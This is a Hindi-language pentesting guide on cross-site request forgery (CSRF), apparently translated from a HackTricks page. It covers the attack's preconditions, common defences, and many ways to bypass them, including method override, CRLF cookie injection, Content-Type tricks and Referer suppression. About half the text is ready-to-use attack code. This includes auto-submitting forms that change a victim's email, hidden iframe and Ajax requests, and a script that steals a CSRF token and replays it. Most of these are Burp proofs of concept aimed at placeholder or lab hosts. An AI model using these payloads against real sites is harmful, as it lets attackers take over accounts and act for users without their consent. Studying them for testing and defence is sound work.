Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) समझाया गया
क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो एक पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
CSRF हमले के लिए पूर्वापेक्षाएँ
CSRF कमजोरी का लाभ उठाने के लिए, कई शर्तें पूरी होनी चाहिए:
एक मूल्यवान क्रिया की पहचान करें: हमलावर को एक ऐसा कार्य खोजना होगा जिसका लाभ उठाया जा सके, जैसे उपयोगकर्ता का पासवर्ड, ईमेल बदलना, या विशेषाधिकार बढ़ाना।
सत्र प्रबंधन: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित किया जाना चाहिए, क्योंकि अन्य हेडर का इस उद्देश्य के लिए हेरफेर नहीं किया जा सकता।
अनपेक्षित पैरामीटर का अभाव: अनुरोध में अनपेक्षित पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं।
त्वरित जांच
आप Burp में अनुरोध कैप्चर कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप Copy as fetch पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
CSRF के खिलाफ रक्षा
CSRF हमलों से बचाने के लिए कई प्रतिकृतियाँ लागू की जा सकती हैं:
उपयोगकर्ता सत्यापन: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है।
रेफरर या मूल हेडर की जांच करना: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
http://mal.net?orig=http://example.com का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है)
http://example.com.mal.net का उपयोग करना (URL विश्वसनीय URL के साथ शुरू होता है)
पैरामीटर नामों में संशोधन: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
CSRF टोकन: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और इस टोकन की आवश्यकता करना अगले अनुरोधों में CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
इन रक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
रक्षा बायपास
POST से GET
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है, लेकिन आपको जांचना चाहिए कि क्या एक GET भी मान्य है और यदि जब आप GET अनुरोध भेजते हैं तो CSRF टोकन अभी भी मान्य है।
टोकन की कमी
अनुप्रयोग एक तंत्र लागू कर सकते हैं टोकनों को मान्य करने के लिए जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर टोकन ले जाने वाले पैरामीटर को हटा कर इसका लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमले को अंजाम देने की अनुमति मिलती है।
CSRF टोकन उपयोगकर्ता सत्र से बंधा नहीं है
अनुप्रयोग CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं बांधने पर एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक वैश्विक पूल के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा हो।
हमलावर इस तरह से इसका लाभ उठाते हैं:
अपने खाते का उपयोग करके प्रमाणीकरण करें।
वैध CSRF टोकन प्राप्त करें वैश्विक पूल से।
इस टोकन का उपयोग करें एक पीड़ित के खिलाफ CSRF हमले में।
यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग के अपर्याप्त टोकन मान्यता तंत्र का लाभ उठाते हुए।
विधि बायपास
यदि अनुरोध एक "अजीब" विधि का उपयोग कर रहा है, तो जांचें कि क्या विधिओवरराइड कार्यक्षमता काम कर रही है। उदाहरण के लिए, यदि यह PUT विधि का उपयोग कर रहा है, तो आप POST विधि का उपयोग करने का प्रयास कर सकते हैं और भेजें: https://example.com/my/dear/api/val/num?_method=PUT
यह POST अनुरोध के अंदर _method पैरामीटर भेजकर या हेडर का उपयोग करके भी काम कर सकता है:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
कस्टम हेडर टोकन बायपास
यदि अनुरोध एक कस्टम हेडर के साथ एक टोकन जोड़ रहा है जिसे CSRF सुरक्षा विधि के रूप में उपयोग किया जा रहा है, तो:
कस्टमाइज्ड टोकन और हेडर के बिना अनुरोध का परीक्षण करें।
सटीक समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।
CSRF टोकन एक कुकी द्वारा मान्य किया गया है
अनुप्रयोग CSRF सुरक्षा को टोकन को एक कुकी और एक अनुरोध पैरामीटर में दोहराकर या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देती हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इसका लाभ उठाकर एक धोखाधड़ी छवि लोड कर सकता है जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू कर सकता है।
नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
ध्यान दें कि यदि csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा क्योंकि आपको पीड़ित का सत्र सेट करना होगा, और इसलिए आप खुद पर हमला कर रहे होंगे।
Content-Type परिवर्तन
इस के अनुसार, preflight अनुरोधों से बचने के लिए POST विधि का उपयोग करते समय ये अनुमत Content-Type मान हैं:
application/x-www-form-urlencoded
multipart/form-data
text/plain
हालांकि, ध्यान दें कि सर्वर की लॉजिक भिन्न हो सकती है उपयोग किए गए Content-Type के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे application/json,text/xml, application/xml. का प्रयास करना चाहिए।
उदाहरण ( यहां से) JSON डेटा को text/plain के रूप में भेजने का:
JSON डेटा के लिए प्रीफ्लाइट अनुरोधों को बायपास करना
जब POST अनुरोध के माध्यम से JSON डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में Content-Type: application/json का उपयोग सीधे संभव नहीं है। इसी तरह, इस सामग्री प्रकार को भेजने के लिए XMLHttpRequest का उपयोग करने से एक प्रीफ्लाइट अनुरोध शुरू होता है। फिर भी, इस सीमा को बायपास करने और यह जांचने के लिए रणनीतियाँ हैं कि क्या सर्वर सामग्री प्रकार की परवाह किए बिना JSON डेटा को संसाधित करता है:
वैकल्पिक सामग्री प्रकार का उपयोग करें: फॉर्म में enctype="text/plain" सेट करके Content-Type: text/plain या Content-Type: application/x-www-form-urlencoded का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि क्या बैकएंड डेटा का उपयोग करता है चाहे सामग्री प्रकार कुछ भी हो।
सामग्री प्रकार को संशोधित करें: प्रीफ्लाइट अनुरोध से बचने के लिए जबकि यह सुनिश्चित करते हुए कि सर्वर सामग्री को JSON के रूप में पहचानता है, आप डेटा को Content-Type: text/plain; application/json के साथ भेज सकते हैं। यह प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर को application/json स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो इसे सही ढंग से संसाधित किया जा सकता है।
SWF फ्लैश फ़ाइल का उपयोग: एक कम सामान्य लेकिन संभव विधि में ऐसे प्रतिबंधों को बायपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग करना शामिल है। इस तकनीक की गहन समझ के लिए, इस पोस्ट को देखें।
रेफरर / मूल जांच बायपास
रेफरर हेडर से बचें
ऐप्लिकेशन केवल तब 'Referer' हेडर को मान्य कर सकते हैं जब यह मौजूद हो। इस हेडर को भेजने से रोकने के लिए, निम्नलिखित HTML मेटा टैग का उपयोग किया जा सकता है:
<metaname="referrer"content="never">
यह सुनिश्चित करता है कि 'Referer' हेडर को छोड़ दिया गया है, जिससे कुछ अनुप्रयोगों में मान्यता जांचों को बायपास किया जा सकता है।
Referrer द्वारा भेजे जाने वाले पैरामीटर के अंदर URL में सर्वर का डोमेन नाम सेट करने के लिए आप कर सकते हैं:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD विधि बायपास
इस CTF लेख के पहले भाग में समझाया गया है कि Oak का स्रोत कोड, एक राउटर को HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं है - एक सामान्य समाधान जो Oak के लिए अद्वितीय नहीं है। HEAD reqs से निपटने के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें बस GET हैंडलर को दिया जाता है लेकिन ऐप बस प्रतिक्रिया शरीर को हटा देता है।
इसलिए, यदि GET अनुरोध को सीमित किया जा रहा है, तो आप बस एक HEAD अनुरोध भेज सकते हैं जिसे GET अनुरोध के रूप में संसाधित किया जाएगा।
शोषण उदाहरण
CSRF टोकन निकालना
यदि एक CSRF टोकन को रक्षा के रूप में उपयोग किया जा रहा है, तो आप एक XSS भेद्यता या Dangling Markup भेद्यता का दुरुपयोग करके इसे निकालने की कोशिश कर सकते हैं।
HTML टैग का उपयोग करके GET
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए उपयोग किए जा सकते हैं:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
फ़ॉर्म POST अनुरोध
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
iframe के माध्यम से फ़ॉर्म POST अनुरोध
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST अनुरोध
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF टोकन चुराएं और एक POST अनुरोध भेजें
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
CSRF टोकन चुराएं और iframe, एक फॉर्म और Ajax का उपयोग करके एक पोस्ट अनुरोध भेजें
कोड का उपयोग CSRF टोकन का उपयोग करके एक लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए किया जा सकता है (यह संभावित IP ब्लैकलिस्टिंग को बायपास करने के लिए X-Forwarded-For हेडर का भी उपयोग कर रहा है):
